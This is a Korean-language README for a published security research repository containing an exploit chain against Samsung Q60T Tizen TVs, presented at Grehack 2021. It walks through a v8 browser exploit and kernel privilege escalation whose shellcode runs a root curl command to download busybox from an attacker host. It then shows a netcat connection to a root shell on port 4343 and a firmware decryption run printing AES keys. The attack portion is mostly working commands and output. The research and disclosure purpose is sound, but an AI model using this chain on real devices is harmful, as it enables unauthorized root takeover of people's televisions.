synacktiv/samsung-q60t-exploitTizen 기반 삼성 Q60T TV를 대상으로 하는 익스플로잇 모음으로, v8 및 커널 익스플로잇, 펌웨어 복호화, 페이로드 전달을 통한 루트 셸 액세스를 포함합니다.
Tizen 익스플로잇
Grehack 2021에서 발표한 익스플로잇 및 펌웨어 복호화 스크립트입니다.
슬라이드는 slides </slides/>. 디렉터리에서, 다시보기 영상은 Youtube <https://www.youtube.com/watch?v=c_7I1j8kjgI>.에서 확인할 수 있습니다.
이 저장소에는 세 개의 디렉터리가 있습니다:
exploit/: v8 익스플로잇과 커널 익스플로잇을 포함합니다,firmware/: 펌웨어 복호화 스크립트를 포함합니다slides/: 이 작업에 대해 grehack에서 발표한 프레젠테이션을 포함합니다먼저 payload.c 안의 공격자 IP를 변경해야 합니다:
.. code-block:: c
char cmd_busybox[] = "/usr/bin/curl http://192.168.1.37:5000/static/busybox -o /tmp/busybox\x00";
exec_as_root(cmd_busybox, sizeof(cmd_busybox));
LPE 페이로드를 컴파일하고 생성된 javascript 파일을 static/ 디렉터리 안으로 복사합니다 :
.. code-block:: console
$ make -C payload/
arm-linux-gnueabi-gcc -fPIC -fPIE -nostdlib -fno-builtin -Os -Wall -c -o entry.o entry.S
arm-linux-gnueabi-gcc -fPIC -fPIE -nostdlib -fno-builtin -Os -Wall -c -o payload.o payload.c
arm-linux-gnueabi-ld -T function_order.ld -o payload.elf entry.o payload.o function_order.ld
objcopy -O binary payload.elf payload.bin
echo "let shellcode = [" > payload.js
xxd -i payload.bin | tail -n +2 | head -n -2 >> payload.js
echo "];" >> payload.js
$ cp payload/payload.js static/shellcode.js
Flask 앱을 실행하고 TV의 브라우저에서 웹페이지를 엽니다:
.. code-block:: console
$ ./run.sh
* Serving Flask app "app.py" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET / HTTP/1.1" 200 -
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /static/exploit.js HTTP/1.1" 200 -
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /static/shellcode.js HTTP/1.1" 200 -
[2021-04-12 17:27:38,483] INFO in app: 2021-04-12T15:27:17.467Z: Let's go !
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /log?str=2021-04-12T15:27:17.467Z:%20Let%27s%20go%20! HTTP/1.1" 200 -
...
[2021-04-12 17:27:38,984] INFO in app: 2021-04-12T15:27:17.979Z: ok !
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /log?str=2021-04-12T15:27:17.979Z:%20ok%20! HTTP/1.1" 200 -
192.168.1.36 - - [12/Apr/2021 17:27:39] "GET /static/busybox HTTP/1.1" 200 -
포트 4343에서 루트 셸을 사용할 수 있습니다 :
.. code-block:: console
$ nc 192.168.1.36 4343 -vvv
(UNKNOWN) [192.168.1.36] 4343 (?) open
id
uid=0(root) gid=0(root) context="_"
펌웨어를 다음에서 다운로드하세요 : https://www.samsung.com/us/support/downloads/?model=N0002201&modelCode=QN43Q60TBFXZA
압축 해제:
.. code-block:: console
$ unzip T-NKLAKUC_2201.0.zip
Archive: T-NKLAKUC_2201.0.zip
inflating: T-NKLAKUC/image/upgrade.msd
inflating: T-NKLAKUC/image/info.txt
복호화:
.. code-block:: console
$ python3 firmware/decrypt.py T-NKLAKUC/image/upgrade.msd /tmp/decrypted/
[+] aes_key = 5bab1098dab48792619ebd63650d929f
[+] aes_iv = 142610ca2fb201fd78ad8faf328bc883
...
[+] section 1, offset = 0x108c, size = 0x4c010
[+] first block = 8137962a88ef836b74f9cdda78a1747b
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/ddr.init
[+] writing in /tmp/decrypted/ddr.init
[+] section 2, offset = 0x4d09c, size = 0x2fe010
[+] first block = 0f30a0e1000052e30500000a083043e2
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/seret.bin
[+] writing in /tmp/decrypted/seret.bin
[+] section 3, offset = 0x34b0ac, size = 0x6b5010
[+] first block = 27051956bab5bfb361e80e7a006b4ec0
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/uImage
[+] writing in /tmp/decrypted/uImage
[+] section 4, offset = 0xa000bc, size = 0x17e010
[+] first block = d00dfeed0000be82000000380000aabc
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/dtb.bin
[+] writing in /tmp/decrypted/dtb.bin
[+] section 5, offset = 0xb7e0cc, size = 0x410
[+] first block = 00000000000000000000000000000000
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/sign.bin
[+] writing in /tmp/decrypted/sign.bin
[+] section 6, offset = 0xb7e4dc, size = 0x3fe010
[+] first block = bdf2fdf7c10a6e894df26d830fc20f7a
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/secos.bin
[+] writing in /tmp/decrypted/secos.bin
[+] section 7, offset = 0xf7c4ec, size = 0xfe010
[+] first block = 3abd6e7e0ab706ac9a2f5163515d1364
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/secos_drv.bin
[+] writing in /tmp/decrypted/secos_drv.bin
[+] section 8, offset = 0x107a4fc, size = 0x4bc0e010
[+] first block = 56444653323030376d6b66732e766466
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/platform.img
[+] writing in /tmp/decrypted/platform.img
[+] section 9, offset = 0x4cc8850c, size = 0x2f0010
[+] first block = 68737173cd040000f74ae86100000200
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/factory_peq.img
[+] writing in /tmp/decrypted/factory_peq.img
.. code-block:: console
$ file /tmp/decrypted/*
/tmp/decrypted/ddr.init: data
/tmp/decrypted/dtb.bin: Device Tree Blob version 17, size=48770, boot CPU=0, string block size=5062, DT structure block size=43652
/tmp/decrypted/factory_peq.img: Squashfs filesystem, little endian, version 4.0, zlib compressed, 3034483 bytes, 1229 inodes, blocksize: 131072 bytes, created: Wed Jan 19 17:31:35 2022
/tmp/decrypted/platform.img: data
/tmp/decrypted/secos.bin: data
/tmp/decrypted/secos_drv.bin: data
/tmp/decrypted/seret.bin: data
/tmp/decrypted/sign.bin: data
/tmp/decrypted/uImage: u-boot legacy uImage, Linux-4.1.10, Linux/ARM, OS Kernel Image (Not compressed), 7032512 bytes, Wed Jan 19 13:13:30 2022, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xBAB5BFB3, Data CRC: 0x1FD62A2B